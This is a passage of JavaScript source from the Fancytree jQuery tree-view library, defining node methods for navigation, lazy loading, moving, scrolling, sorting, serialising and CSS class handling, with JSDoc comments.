					if (ac[i] === this) {
						return ac[i + 1];
					}
				}
			}
			return null;
		},
		/** Return the parent node (null for the system root node).
		 * @returns {FancytreeNode | null}
		 */
		getParent: function () {
			// TODO: return null for top-level nodes?
			return this.parent;
		},
		/** Return an array of all parent nodes (top-down).
		 * @param {boolean} [includeRoot=false] Include the invisible system root node.
		 * @param {boolean} [includeSelf=false] Include the node itself.
		 * @returns {FancytreeNode[]}
		 */
		getParentList: function (includeRoot, includeSelf) {
			var l = [],
				dtn = includeSelf ? this : this.parent;
			while (dtn) {
				if (includeRoot || dtn.parent) {
					l.unshift(dtn);
				}
				dtn = dtn.parent;
			}
			return l;
		},
		/** Return a string representing the hierachical node path, e.g. "a/b/c".
		 * @param {boolean} [includeSelf=true]
		 * @param {string | function} [part="title"] node property name or callback
		 * @param {string} [separator="/"]
		 * @returns {string}
		 * @since v2.31
		 */
		getPath: function (includeSelf, part, separator) {
			includeSelf = includeSelf !== false;
			part = part || "title";
			separator = separator || "/";

			var val,
				path = [],
				isFunc = _isFunction(part);

			this.visitParents(function (n) {
				if (n.parent) {
					val = isFunc ? part(n) : n[part];
					path.unshift(val);
				}
			}, includeSelf);
			return path.join(separator);
		},
		/** Return the predecessor node (under the same parent) or null.
		 * @returns {FancytreeNode | null}
		 */
		getPrevSibling: function () {
			if (this.parent) {
				var i,
					l,
					ac = this.parent.children;

				for (i = 1, l = ac.length; i < l; i++) {
					// start with 1, so prev(first) = null
					if (ac[i] === this) {
						return ac[i - 1];
					}
				}
			}
			return null;
		},
		/**
		 * Return an array of selected descendant nodes.
		 * @param {boolean} [stopOnParents=false] only return the topmost selected
		 *     node (useful with selectMode 3)
		 * @returns {FancytreeNode[]}
		 */
		getSelectedNodes: function (stopOnParents) {
			var nodeList = [];
			this.visit(function (node) {
				if (node.selected) {
					nodeList.push(node);
					if (stopOnParents === true) {
						return "skip"; // stop processing this branch
					}
				}
			});
			return nodeList;
		},
		/** Return true if node has children. Return undefined if not sure, i.e. the node is lazy and not yet loaded).
		 * @returns {boolean | undefined}
		 */
		hasChildren: function () {
			if (this.lazy) {
				if (this.children == null) {
					// null or undefined: Not yet loaded
					return undefined;
				} else if (this.children.length === 0) {
					// Loaded, but response was empty
					return false;
				} else if (
					this.children.length === 1 &&
					this.children[0].isStatusNode()
				) {
					// Currently loading or load error
					return undefined;
				}
				return true;
			}
			return !!(this.children && this.children.length);
		},
		/**
		 * Return true if node has `className` defined in .extraClasses.
		 *
		 * @param {string} className class name (separate multiple classes by space)
		 * @returns {boolean}
		 *
		 * @since 2.32
		 */
		hasClass: function (className) {
			return (
				(" " + (this.extraClasses || "") + " ").indexOf(
					" " + className + " "
				) >= 0
			);
		},
		/** Return true if node has keyboard focus.
		 * @returns {boolean}
		 */
		hasFocus: function () {
			return this.tree.hasFocus() && this.tree.focusNode === this;
		},
		/** Write to browser console if debugLevel >= 3 (prepending node info)
		 *
		 * @param {*} msg string or object or array of such
		 */
		info: function (msg) {
			if (this.tree.options.debugLevel >= 3) {
				Array.prototype.unshift.call(arguments, this.toString());
				consoleApply("info", arguments);
			}
		},
		/** Return true if node is active (see also FancytreeNode#isSelected).
		 * @returns {boolean}
		 */
		isActive: function () {
			return this.tree.activeNode === this;
		},
		/** Return true if node is vertically below `otherNode`, i.e. rendered in a subsequent row.
		 * @param {FancytreeNode} otherNode
		 * @returns {boolean}
		 * @since 2.28
		 */
		isBelowOf: function (otherNode) {
			return this.getIndexHier(".", 5) > otherNode.getIndexHier(".", 5);
		},
		/** Return true if node is a direct child of otherNode.
		 * @param {FancytreeNode} otherNode
		 * @returns {boolean}
		 */
		isChildOf: function (otherNode) {
			return this.parent && this.parent === otherNode;
		},
		/** Return true, if node is a direct or indirect sub node of otherNode.
		 * @param {FancytreeNode} otherNode
		 * @returns {boolean}
		 */
		isDescendantOf: function (otherNode) {
			if (!otherNode || otherNode.tree !== this.tree) {
				return false;
			}
			var p = this.parent;
			while (p) {
				if (p === otherNode) {
					return true;
				}
				if (p === p.parent) {
					$.error("Recursive parent link: " + p);
				}
				p = p.parent;
			}
			return false;
		},
		/** Return true if node is expanded.
		 * @returns {boolean}
		 */
		isExpanded: function () {
			return !!this.expanded;
		},
		/** Return true if node is the first node of its parent's children.
		 * @returns {boolean}
		 */
		isFirstSibling: function () {
			var p = this.parent;
			return !p || p.children[0] === this;
		},
		/** Return true if node is a folder, i.e. has the node.folder attribute set.
		 * @returns {boolean}
		 */
		isFolder: function () {
			return !!this.folder;
		},
		/** Return true if node is the last node of its parent's children.
		 * @returns {boolean}
		 */
		isLastSibling: function () {
			var p = this.parent;
			return !p || p.children[p.children.length - 1] === this;
		},
		/** Return true if node is lazy (even if data was already loaded)
		 * @returns {boolean}
		 */
		isLazy: function () {
			return !!this.lazy;
		},
		/** Return true if node is lazy and loaded. For non-lazy nodes always return true.
		 * @returns {boolean}
		 */
		isLoaded: function () {
			return !this.lazy || this.hasChildren() !== undefined; // Also checks if the only child is a status node
		},
		/** Return true if children are currently beeing loaded, i.e. a Ajax request is pending.
		 * @returns {boolean}
		 */
		isLoading: function () {
			return !!this._isLoading;
		},
		/*
		 * @deprecated since v2.4.0:  Use isRootNode() instead
		 */
		isRoot: function () {
			return this.isRootNode();
		},
		/** Return true if node is partially selected (tri-state).
		 * @returns {boolean}
		 * @since 2.23
		 */
		isPartsel: function () {
			return !this.selected && !!this.partsel;
		},
		/** (experimental) Return true if this is partially loaded.
		 * @returns {boolean}
		 * @since 2.15
		 */
		isPartload: function () {
			return !!this.partload;
		},
		/** Return true if this is the (invisible) system root node.
		 * @returns {boolean}
		 * @since 2.4
		 */
		isRootNode: function () {
			return this.tree.rootNode === this;
		},
		/** Return true if node is selected, i.e. has a checkmark set (see also FancytreeNode#isActive).
		 * @returns {boolean}
		 */
		isSelected: function () {
			return !!this.selected;
		},
		/** Return true if this node is a temporarily generated system node like
		 * 'loading', 'paging', or 'error' (node.statusNodeType contains the type).
		 * @returns {boolean}
		 */
		isStatusNode: function () {
			return !!this.statusNodeType;
		},
		/** Return true if this node is a status node of type 'paging'.
		 * @returns {boolean}
		 * @since 2.15
		 */
		isPagingNode: function () {
			return this.statusNodeType === "paging";
		},
		/** Return true if this a top level node, i.e. a direct child of the (invisible) system root node.
		 * @returns {boolean}
		 * @since 2.4
		 */
		isTopLevel: function () {
			return this.tree.rootNode === this.parent;
		},
		/** Return true if node is lazy and not yet loaded. For non-lazy nodes always return false.
		 * @returns {boolean}
		 */
		isUndefined: function () {
			return this.hasChildren() === undefined; // also checks if the only child is a status node
		},
		/** Return true if all parent nodes are expanded. Note: this does not check
		 * whether the node is scrolled into the visible part of the screen.
		 * @returns {boolean}
		 */
		isVisible: function () {
			var i,
				l,
				n,
				hasFilter = this.tree.enableFilter,
				parents = this.getParentList(false, false);

			// TODO: check $(n.span).is(":visible")
			// i.e. return false for nodes (but not parents) that are hidden
			// by a filter
			if (hasFilter && !this.match && !this.subMatchCount) {
				// this.debug( "isVisible: HIDDEN (" + hasFilter + ", " + this.match + ", " + this.match + ")" );
				return false;
			}

			for (i = 0, l = parents.length; i < l; i++) {
				n = parents[i];

				if (!n.expanded) {
					// this.debug("isVisible: HIDDEN (parent collapsed)");
					return false;
				}
				// if (hasFilter && !n.match && !n.subMatchCount) {
				// 	this.debug("isVisible: HIDDEN (" + hasFilter + ", " + this.match + ", " + this.match + ")");
				// 	return false;
				// }
			}
			// this.debug("isVisible: VISIBLE");
			return true;
		},
		/** Deprecated.
		 * @deprecated since 2014-02-16: use load() instead.
		 */
		lazyLoad: function (discard) {
			$.error(
				"FancytreeNode.lazyLoad() is deprecated since 2014-02-16. Use .load() instead."
			);
		},
		/**
		 * Load all children of a lazy node if neccessary. The <i>expanded</i> state is maintained.
		 * @param {boolean} [forceReload=false] Pass true to discard any existing nodes before. Otherwise this method does nothing if the node was already loaded.
		 * @returns {$.Promise}
		 */
		load: function (forceReload) {
			var res,
				source,
				self = this,
				wasExpanded = this.isExpanded();

			_assert(this.isLazy(), "load() requires a lazy node");
			// _assert( forceReload || this.isUndefined(), "Pass forceReload=true to re-load a lazy node" );
			if (!forceReload && !this.isUndefined()) {
				return _getResolvedPromise(this);
			}
			if (this.isLoaded()) {
				this.resetLazy(); // also collapses
			}
			// This method is also called by setExpanded() and loadKeyPath(), so we
			// have to avoid recursion.
			source = this.tree._triggerNodeEvent("lazyLoad", this);
			if (source === false) {
				// #69
				return _getResolvedPromise(this);
			}
			_assert(
				typeof source !== "boolean",
				"lazyLoad event must return source in data.result"
			);
			res = this.tree._callHook("nodeLoadChildren", this, source);
			if (wasExpanded) {
				this.expanded = true;
				res.always(function () {
					self.render();
				});
			} else {
				res.always(function () {
					self.renderStatus(); // fix expander icon to 'loaded'
				});
			}
			return res;
		},
		/** Expand all parents and optionally scroll into visible area as neccessary.
		 * Promise is resolved, when lazy loading and animations are done.
		 * @param {object} [opts] passed to `setExpanded()`.
		 *     Defaults to {noAnimation: false, noEvents: false, scrollIntoView: true}
		 * @returns {$.Promise}
		 */
		makeVisible: function (opts) {
			var i,
				self = this,
				deferreds = [],
				dfd = new $.Deferred(),
				parents = this.getParentList(false, false),
				len = parents.length,
				effects = !(opts && opts.noAnimation === true),
				scroll = !(opts && opts.scrollIntoView === false);

			// Expand bottom-up, so only the top node is animated
			for (i = len - 1; i >= 0; i--) {
				// self.debug("pushexpand" + parents[i]);
				deferreds.push(parents[i].setExpanded(true, opts));
			}
			$.when.apply($, deferreds).done(function () {
				// All expands have finished
				// self.debug("expand DONE", scroll);
				if (scroll) {
					self.scrollIntoView(effects).done(function () {
						// self.debug("scroll DONE");
						dfd.resolve();
					});
				} else {
					dfd.resolve();
				}
			});
			return dfd.promise();
		},
		/** Move this node to targetNode.
		 *  @param {FancytreeNode} targetNode
		 *  @param {string} mode <pre>
		 *      'child': append this node as last child of targetNode.
		 *               This is the default. To be compatble with the D'n'd
		 *               hitMode, we also accept 'over'.
		 *      'firstChild': add this node as first child of targetNode.
		 *      'before': add this node as sibling before targetNode.
		 *      'after': add this node as sibling after targetNode.</pre>
		 *  @param {function} [map] optional callback(FancytreeNode) to allow modifcations
		 */
		moveTo: function (targetNode, mode, map) {
			if (mode === undefined || mode === "over") {
				mode = "child";
			} else if (mode === "firstChild") {
				if (targetNode.children && targetNode.children.length) {
					mode = "before";
					targetNode = targetNode.children[0];
				} else {
					mode = "child";
				}
			}
			var pos,
				tree = this.tree,
				prevParent = this.parent,
				targetParent =
					mode === "child" ? targetNode : targetNode.parent;

			if (this === targetNode) {
				return;
			} else if (!this.parent) {
				$.error("Cannot move system root");
			} else if (targetParent.isDescendantOf(this)) {
				$.error("Cannot move a node to its own descendant");
			}
			if (targetParent !== prevParent) {
				prevParent.triggerModifyChild("remove", this);
			}
			// Unlink this node from current parent
			if (this.parent.children.length === 1) {
				if (this.parent === targetParent) {
					return; // #258
				}
				this.parent.children = this.parent.lazy ? [] : null;
				this.parent.expanded = false;
			} else {
				pos = $.inArray(this, this.parent.children);
				_assert(pos >= 0, "invalid source parent");
				this.parent.children.splice(pos, 1);
			}
			// Remove from source DOM parent
			// if(this.parent.ul){
			// 	this.parent.ul.removeChild(this.li);
			// }

			// Insert this node to target parent's child list
			this.parent = targetParent;
			if (targetParent.hasChildren()) {
				switch (mode) {
					case "child":
						// Append to existing target children
						targetParent.children.push(this);
						break;
					case "before":
						// Insert this node before target node
						pos = $.inArray(targetNode, targetParent.children);
						_assert(pos >= 0, "invalid target parent");
						targetParent.children.splice(pos, 0, this);
						break;
					case "after":
						// Insert this node after target node
						pos = $.inArray(targetNode, targetParent.children);
						_assert(pos >= 0, "invalid target parent");
						targetParent.children.splice(pos + 1, 0, this);
						break;
					default:
						$.error("Invalid mode " + mode);
				}
			} else {
				targetParent.children = [this];
			}
			// Parent has no <ul> tag yet:
			// if( !targetParent.ul ) {
			// 	// This is the parent's first child: create UL tag
			// 	// (Hidden, because it will be
			// 	targetParent.ul = document.createElement("ul");
			// 	targetParent.ul.style.display = "none";
			// 	targetParent.li.appendChild(targetParent.ul);
			// }
			// // Issue 319: Add to target DOM parent (only if node was already rendered(expanded))
			// if(this.li){
			// 	targetParent.ul.appendChild(this.li);
			// }

			// Let caller modify the nodes
			if (map) {
				targetNode.visit(map, true);
			}
			if (targetParent === prevParent) {
				targetParent.triggerModifyChild("move", this);
			} else {
				// prevParent.triggerModifyChild("remove", this);
				targetParent.triggerModifyChild("add", this);
			}
			// Handle cross-tree moves
			if (tree !== targetNode.tree) {
				// Fix node.tree for all source nodes
				// 	_assert(false, "Cross-tree move is not yet implemented.");
				this.warn("Cross-tree moveTo is experimental!");
				this.visit(function (n) {
					// TODO: fix selection state and activation, ...
					n.tree = targetNode.tree;
				}, true);
			}

			// A collaposed node won't re-render children, so we have to remove it manually
			// if( !targetParent.expanded ){
			//   prevParent.ul.removeChild(this.li);
			// }
			tree._callHook("treeStructureChanged", tree, "moveTo");

			// Update HTML markup
			if (!prevParent.isDescendantOf(targetParent)) {
				prevParent.render();
			}
			if (
				!targetParent.isDescendantOf(prevParent) &&
				targetParent !== prevParent
			) {
				targetParent.render();
			}
			// TODO: fix selection state
			// TODO: fix active state

			/*
			var tree = this.tree;
			var opts = tree.options;
			var pers = tree.persistence;

			// Always expand, if it's below minExpandLevel
			// tree.logDebug ("%s._addChildNode(%o), l=%o", this, ftnode, ftnode.getLevel());
			if ( opts.minExpandLevel >= ftnode.getLevel() ) {
				// tree.logDebug ("Force expand for %o", ftnode);
				this.bExpanded = true;
			}

			// In multi-hier mode, update the parents selection state
			// DT issue #82: only if not initializing, because the children may not exist yet
			// if( !ftnode.data.isStatusNode() && opts.selectMode==3 && !isInitializing )
			// 	ftnode._fixSelectionState();

			// In multi-hier mode, update the parents selection state
			if( ftnode.bSelected && opts.selectMode==3 ) {
				var p = this;
				while( p ) {
					if( !p.hasSubSel )
						p._setSubSel(true);
					p = p.parent;
				}
			}
			// render this node and the new child
			if ( tree.bEnableUpdate )
				this.render();
			return ftnode;
			*/
		},
		/** Set focus relative to this node and optionally activate.
		 *
		 * 'left' collapses the node if it is expanded, or move to the parent
		 * otherwise.
		 * 'right' expands the node if it is collapsed, or move to the first
		 * child otherwise.
		 *
		 * @param {string|number} where 'down', 'first', 'last', 'left', 'parent', 'right', or 'up'.
		 *   (Alternatively the keyCode that would normally trigger this move,
		 *   e.g. `$.ui.keyCode.LEFT` = 'left'.
		 * @param {boolean} [activate=true]
		 * @returns {$.Promise}
		 */
		navigate: function (where, activate) {
			var node,
				KC = $.ui.keyCode;

			// Handle optional expand/collapse action for LEFT/RIGHT
			switch (where) {
				case "left":
				case KC.LEFT:
					if (this.expanded) {
						return this.setExpanded(false);
					}
					break;
				case "right":
				case KC.RIGHT:
					if (!this.expanded && (this.children || this.lazy)) {
						return this.setExpanded();
					}
					break;
			}
			// Otherwise activate or focus the related node
			node = this.findRelatedNode(where);
			if (node) {
				// setFocus/setActive will scroll later (if autoScroll is specified)
				try {
					node.makeVisible({ scrollIntoView: false });
				} catch (e) {} // #272
				if (activate === false) {
					node.setFocus();
					return _getResolvedPromise();
				}
				return node.setActive();
			}
			this.warn("Could not find related node '" + where + "'.");
			return _getResolvedPromise();
		},
		/**
		 * Remove this node (not allowed for system root).
		 */
		remove: function () {
			return this.parent.removeChild(this);
		},
		/**
		 * Remove childNode from list of direct children.
		 * @param {FancytreeNode} childNode
		 */
		removeChild: function (childNode) {
			return this.tree._callHook("nodeRemoveChild", this, childNode);
		},
		/**
		 * Remove all child nodes and descendents. This converts the node into a leaf.<br>
		 * If this was a lazy node, it is still considered 'loaded'; call node.resetLazy()
		 * in order to trigger lazyLoad on next expand.
		 */
		removeChildren: function () {
			return this.tree._callHook("nodeRemoveChildren", this);
		},
		/**
		 * Remove class from node's span tag and .extraClasses.
		 *
		 * @param {string} className class name
		 *
		 * @since 2.17
		 */
		removeClass: function (className) {
			return this.toggleClass(className, false);
		},
		/**
		 * This method renders and updates all HTML markup that is required
		 * to display this node in its current state.<br>
		 * Note:
		 * <ul>
		 * <li>It should only be neccessary to call this method after the node object
		 *     was modified by direct access to its properties, because the common
		 *     API methods (node.setTitle(), moveTo(), addChildren(), remove(), ...)
		 *     already handle this.
		 * <li> {@link FancytreeNode#renderTitle} and {@link FancytreeNode#renderStatus}
		 *     are implied. If changes are more local, calling only renderTitle() or
		 *     renderStatus() may be sufficient and faster.
		 * </ul>
		 *
		 * @param {boolean} [force=false] re-render, even if html markup was already created
		 * @param {boolean} [deep=false] also render all descendants, even if parent is collapsed
		 */
		render: function (force, deep) {
			return this.tree._callHook("nodeRender", this, force, deep);
		},
		/** Create HTML markup for the node's outer `<span>` (expander, checkbox, icon, and title).
		 * Implies {@link FancytreeNode#renderStatus}.
		 * @see Fancytree_Hooks#nodeRenderTitle
		 */
		renderTitle: function () {
			return this.tree._callHook("nodeRenderTitle", this);
		},
		/** Update element's CSS classes according to node state.
		 * @see Fancytree_Hooks#nodeRenderStatus
		 */
		renderStatus: function () {
			return this.tree._callHook("nodeRenderStatus", this);
		},
		/**
		 * (experimental) Replace this node with `source`.
		 * (Currently only available for paging nodes.)
		 * @param {NodeData[]} source List of child node definitions
		 * @since 2.15
		 */
		replaceWith: function (source) {
			var res,
				parent = this.parent,
				pos = $.inArray(this, parent.children),
				self = this;

			_assert(
				this.isPagingNode(),
				"replaceWith() currently requires a paging status node"
			);

			res = this.tree._callHook("nodeLoadChildren", this, source);
			res.done(function (data) {
				// New nodes are currently children of `this`.
				var children = self.children;
				// Prepend newly loaded child nodes to `this`
				// Move new children after self
				for (i = 0; i < children.length; i++) {
					children[i].parent = parent;
				}
				parent.children.splice.apply(
					parent.children,
					[pos + 1, 0].concat(children)
				);

				// Remove self
				self.children = null;
				self.remove();
				// Redraw new nodes
				parent.render();
				// TODO: set node.partload = false if this was tha last paging node?
				// parent.addPagingNode(false);
			}).fail(function () {
				self.setExpanded();
			});
			return res;
			// $.error("Not implemented: replaceWith()");
		},
		/**
		 * Remove all children, collapse, and set the lazy-flag, so that the lazyLoad
		 * event is triggered on next expand.
		 */
		resetLazy: function () {
			this.removeChildren();
			this.expanded = false;
			this.lazy = true;
			this.children = undefined;
			this.renderStatus();
		},
		/** Schedule activity for delayed execution (cancel any pending request).
		 *  scheduleAction('cancel') will only cancel a pending request (if any).
		 * @param {string} mode
		 * @param {number} ms
		 */
		scheduleAction: function (mode, ms) {
			if (this.tree.timer) {
				clearTimeout(this.tree.timer);
				this.tree.debug("clearTimeout(%o)", this.tree.timer);
			}
			this.tree.timer = null;
			var self = this; // required for closures
			switch (mode) {
				case "cancel":
					// Simply made sure that timer was cleared
					break;
				case "expand":
					this.tree.timer = setTimeout(function () {
						self.tree.debug("setTimeout: trigger expand");
						self.setExpanded(true);
					}, ms);
					break;
				case "activate":
					this.tree.timer = setTimeout(function () {
						self.tree.debug("setTimeout: trigger activate");
						self.setActive(true);
					}, ms);
					break;
				default:
					$.error("Invalid mode " + mode);
			}
			// this.tree.debug("setTimeout(%s, %s): %s", mode, ms, this.tree.timer);
		},
		/**
		 *
		 * @param {boolean | PlainObject} [effects=false] animation options.
		 * @param {object} [options=null] {topNode: null, effects: ..., parent: ...} this node will remain visible in
		 *     any case, even if `this` is outside the scroll pane.
		 * @returns {$.Promise}
		 */
		scrollIntoView: function (effects, options) {
			if (options !== undefined && _isNode(options)) {
				throw Error(
					"scrollIntoView() with 'topNode' option is deprecated since 2014-05-08. Use 'options.topNode' instead."
				);
			}
			// The scroll parent is typically the plain tree's <UL> container.
			// For ext-table, we choose the nearest parent that has `position: relative`
			// and `overflow` set.
			// (This default can be overridden by the local or global `scrollParent` option.)
			var opts = $.extend(
					{
						effects:
							effects === true
								? { duration: 200, queue: false }
								: effects,
						scrollOfs: this.tree.options.scrollOfs,
						scrollParent: this.tree.options.scrollParent,
						topNode: null,
					},
					options
				),
				$scrollParent = opts.scrollParent,
				$container = this.tree.$container,
				overflowY = $container.css("overflow-y");

			if (!$scrollParent) {
				if (this.tree.tbody) {
					$scrollParent = $container.scrollParent();
				} else if (overflowY === "scroll" || overflowY === "auto") {
					$scrollParent = $container;
				} else {
					// #922 plain tree in a non-fixed-sized UL scrolls inside its parent
					$scrollParent = $container.scrollParent();
				}
			} else if (!$scrollParent.jquery) {
				// Make sure we have a jQuery object
				$scrollParent = $($scrollParent);
			}
			if (
				$scrollParent[0] === document ||
				$scrollParent[0] === document.body
			) {
				// `document` may be returned by $().scrollParent(), if nothing is found,
				// but would not work: (see #894)
				this.debug(
					"scrollIntoView(): normalizing scrollParent to 'window':",
					$scrollParent[0]
				);
				$scrollParent = $(window);
			}
			// eslint-disable-next-line one-var
			var topNodeY,
				nodeY,
				horzScrollbarHeight,
				containerOffsetTop,
				dfd = new $.Deferred(),
				self = this,
				nodeHeight = $(this.span).height(),
				topOfs = opts.scrollOfs.top || 0,
				bottomOfs = opts.scrollOfs.bottom || 0,
				containerHeight = $scrollParent.height(),
				scrollTop = $scrollParent.scrollTop(),
				$animateTarget = $scrollParent,
				isParentWindow = $scrollParent[0] === window,
				topNode = opts.topNode || null,
				newScrollTop = null;

			// this.debug("scrollIntoView(), scrollTop=" + scrollTop, opts.scrollOfs);
			// _assert($(this.span).is(":visible"), "scrollIntoView node is invisible"); // otherwise we cannot calc offsets
			if (this.isRootNode() || !this.isVisible()) {
				// We cannot calc offsets for hidden elements
				this.info("scrollIntoView(): node is invisible.");
				return _getResolvedPromise();
			}
			if (isParentWindow) {
				nodeY = $(this.span).offset().top;
				topNodeY =
					topNode && topNode.span ? $(topNode.span).offset().top : 0;
				$animateTarget = $("html,body");
			} else {
				_assert(
					$scrollParent[0] !== document &&
						$scrollParent[0] !== document.body,
					"scrollParent should be a simple element or `window`, not document or body."
				);

				containerOffsetTop = $scrollParent.offset().top;
				nodeY =
					$(this.span).offset().top - containerOffsetTop + scrollTop; // relative to scroll parent
				topNodeY = topNode
					? $(topNode.span).offset().top -
					  containerOffsetTop +
					  scrollTop
					: 0;
				horzScrollbarHeight = Math.max(
					0,
					$scrollParent.innerHeight() - $scrollParent[0].clientHeight
				);
				containerHeight -= horzScrollbarHeight;
			}

			// this.debug("    scrollIntoView(), nodeY=" + nodeY + ", containerHeight=" + containerHeight);
			if (nodeY < scrollTop + topOfs) {
				// Node is above visible container area
				newScrollTop = nodeY - topOfs;
				// this.debug("    scrollIntoView(), UPPER newScrollTop=" + newScrollTop);
			} else if (
				nodeY + nodeHeight >
				scrollTop + containerHeight - bottomOfs
			) {
				newScrollTop = nodeY + nodeHeight - containerHeight + bottomOfs;
				// this.debug("    scrollIntoView(), LOWER newScrollTop=" + newScrollTop);
				// If a topNode was passed, make sure that it is never scrolled
				// outside the upper border
				if (topNode) {
					_assert(
						topNode.isRootNode() || topNode.isVisible(),
						"topNode must be visible"
					);
					if (topNodeY < newScrollTop) {
						newScrollTop = topNodeY - topOfs;
						// this.debug("    scrollIntoView(), TOP newScrollTop=" + newScrollTop);
					}
				}
			}

			if (newScrollTop === null) {
				dfd.resolveWith(this);
			} else {
				// this.debug("    scrollIntoView(), SET newScrollTop=" + newScrollTop);
				if (opts.effects) {
					opts.effects.complete = function () {
						dfd.resolveWith(self);
					};
					$animateTarget.stop(true).animate(
						{
							scrollTop: newScrollTop,
						},
						opts.effects
					);
				} else {
					$animateTarget[0].scrollTop = newScrollTop;
					dfd.resolveWith(this);
				}
			}
			return dfd.promise();
		},

		/**Activate this node.
		 *
		 * The `cell` option requires the ext-table and ext-ariagrid extensions.
		 *
		 * @param {boolean} [flag=true] pass false to deactivate
		 * @param {object} [opts] additional options. Defaults to {noEvents: false, noFocus: false, cell: null}
		 * @returns {$.Promise}
		 */
		setActive: function (flag, opts) {
			return this.tree._callHook("nodeSetActive", this, flag, opts);
		},
		/**Expand or collapse this node. Promise is resolved, when lazy loading and animations are done.
		 * @param {boolean} [flag=true] pass false to collapse
		 * @param {object} [opts] additional options. Defaults to {noAnimation: false, noEvents: false}
		 * @returns {$.Promise}
		 */
		setExpanded: function (flag, opts) {
			return this.tree._callHook("nodeSetExpanded", this, flag, opts);
		},
		/**Set keyboard focus to this node.
		 * @param {boolean} [flag=true] pass false to blur
		 * @see Fancytree#setFocus
		 */
		setFocus: function (flag) {
			return this.tree._callHook("nodeSetFocus", this, flag);
		},
		/**Select this node, i.e. check the checkbox.
		 * @param {boolean} [flag=true] pass false to deselect
		 * @param {object} [opts] additional options. Defaults to {noEvents: false, p
		 *     propagateDown: null, propagateUp: null, callback: null }
		 */
		setSelected: function (flag, opts) {
			return this.tree._callHook("nodeSetSelected", this, flag, opts);
		},
		/**Mark a lazy node as 'error', 'loading', 'nodata', or 'ok'.
		 * @param {string} status 'error'|'loading'|'nodata'|'ok'
		 * @param {string} [message]
		 * @param {string} [details]
		 */
		setStatus: function (status, message, details) {
			return this.tree._callHook(
				"nodeSetStatus",
				this,
				status,
				message,
				details
			);
		},
		/**Rename this node.
		 * @param {string} title
		 */
		setTitle: function (title) {
			this.title = title;
			this.renderTitle();
			this.triggerModify("rename");
		},
		/**Sort child list by title.
		 * @param {function} [cmp] custom compare function(a, b) that returns -1, 0, or 1 (defaults to sort by title).
		 * @param {boolean} [deep=false] pass true to sort all descendant nodes
		 */
		sortChildren: function (cmp, deep) {
			var i,
				l,
				cl = this.children;

			if (!cl) {
				return;
			}
			cmp =
				cmp ||
				function (a, b) {
					var x = a.title.toLowerCase(),
						y = b.title.toLowerCase();

					// eslint-disable-next-line no-nested-ternary
					return x === y ? 0 : x > y ? 1 : -1;
				};
			cl.sort(cmp);
			if (deep) {
				for (i = 0, l = cl.length; i < l; i++) {
					if (cl[i].children) {
						cl[i].sortChildren(cmp, "$norender$");
					}
				}
			}
			if (deep !== "$norender$") {
				this.render();
			}
			this.triggerModifyChild("sort");
		},
		/** Convert node (or whole branch) into a plain object.
		 *
		 * The result is compatible with node.addChildren().
		 *
		 * @param {boolean} [recursive=false] include child nodes
		 * @param {function} [callback] callback(dict, node) is called for every node, in order to allow modifications.
		 *     Return `false` to ignore this node or `"skip"` to include this node without its children.
		 * @returns {NodeData}
		 */
		toDict: function (recursive, callback) {
			var i,
				l,
				node,
				res,
				dict = {},
				self = this;

			$.each(NODE_ATTRS, function (i, a) {
				if (self[a] || self[a] === false) {
					dict[a] = self[a];
				}
			});
			if (!$.isEmptyObject(this.data)) {
				dict.data = $.extend({}, this.data);
				if ($.isEmptyObject(dict.data)) {
					delete dict.data;
				}
			}
			if (callback) {
				res = callback(dict, self);
				if (res === false) {
					return false; // Don't include this node nor its children
				}
				if (res === "skip") {
					recursive = false; // Include this node, but not the children
				}
			}
			if (recursive) {
				if (_isArray(this.children)) {
					dict.children = [];
					for (i = 0, l = this.children.length; i < l; i++) {
						node = this.children[i];
						if (!node.isStatusNode()) {
							res = node.toDict(true, callback);
							if (res !== false) {
								dict.children.push(res);
							}
						}
					}
				}
			}
			return dict;
		},
		/**
		 * Set, clear, or toggle class of node's span tag and .extraClasses.
		 *
		 * @param {string} className class name (separate multiple classes by space)
		 * @param {boolean} [flag] true/false to add/remove class. If omitted, class is toggled.
		 * @returns {boolean} true if a class was added
		 *
		 * @since 2.17
		 */
		toggleClass: function (value, flag) {
			var className,
				hasClass,
				rnotwhite = /\S+/g,
				classNames = value.match(rnotwhite) || [],
				i = 0,
				wasAdded = false,
				statusElem = this[this.tree.statusClassPropName],
				curClasses = " " + (this.extraClasses || "") + " ";

			// this.info("toggleClass('" + value + "', " + flag + ")", curClasses);
			// Modify DOM element directly if it already exists
			if (statusElem) {
				$(statusElem).toggleClass(value, flag);
			}
			// Modify node.extraClasses to make this change persistent
			// Toggle if flag was not passed
			while ((className = classNames[i++])) {
				hasClass = curClasses.indexOf(" " + className + " ") >= 0;
				flag = flag === undefined ? !hasClass : !!flag;
				if (flag) {
					if (!hasClass) {
						curClasses += className + " ";
						wasAdded = true;
					}
				} else {
					while (curClasses.indexOf(" " + className + " ") > -1) {
						curClasses = curClasses.replace(
							" " + className + " ",
							" "
						);
					}
				}
			}
			this.extraClasses = _trim(curClasses);
			// this.info("-> toggleClass('" + value + "', " + flag + "): '" + this.extraClasses + "'");
			return wasAdded;
		},
		/** Flip expanded status. */
		toggleExpanded: function () {
			return this.tree._callHook("nodeToggleExpanded", this);
		},
		/** Flip selection status. */
		toggleSelected: function () {
			return this.tree._callHook("nodeToggleSelected", this);
		},
		toString: function () {
			return "FancytreeNode@" + this.key + "[title='" + this.title + "']";
			// return "<FancytreeNode(#" + this.key + ", '" + this.title + "')>";
		},
		/**
		 * Trigger `modifyChild` event on a parent to signal that a child was modified.
		 * @param {string} operation Type of change: 'add', 'remove', 'rename', 'move', 'data', ...
		 * @param {FancytreeNode} [childNode]
		 * @param {object} [extra]
		 */
		triggerModifyChild: function (operation, childNode, extra) {
			var data,
				modifyChild = this.tree.options.modifyChild;

			if (modifyChild) {
				if (childNode && childNode.parent !== this) {
					$.error(
						"childNode " + childNode + " is not a child of " + this
					);
				}
				data = {
					node: this,
					tree: this.tree,
					operation: operation,
					childNode: childNode || null,
				};
				if (extra) {
					$.extend(data, extra);
				}
				modifyChild({ type: "modifyChild" }, data);
			}
		},
		/**
		 * Trigger `modifyChild` event on node.parent(!).
		 * @param {string} operation Type of change: 'add', 'remove', 'rename', 'move', 'data', ...
		 * @param {object} [extra]
		 */
		triggerModify: function (operation, extra) {
			this.parent.triggerModifyChild(operation, this, extra);
		},
		/** Call fn(node) for all child nodes in hierarchical order (depth-first).<br>
		 * Stop iteration, if fn() returns false. Skip current branch, if fn() returns "skip".<br>
		 * Return false if iteration was stopped.
		 *
		 * @param {function} fn the callback function.
		 *     Return false to stop iteration, return "skip" to skip this node and
		 *     its children only.
		 * @param {boolean} [includeSelf=false]
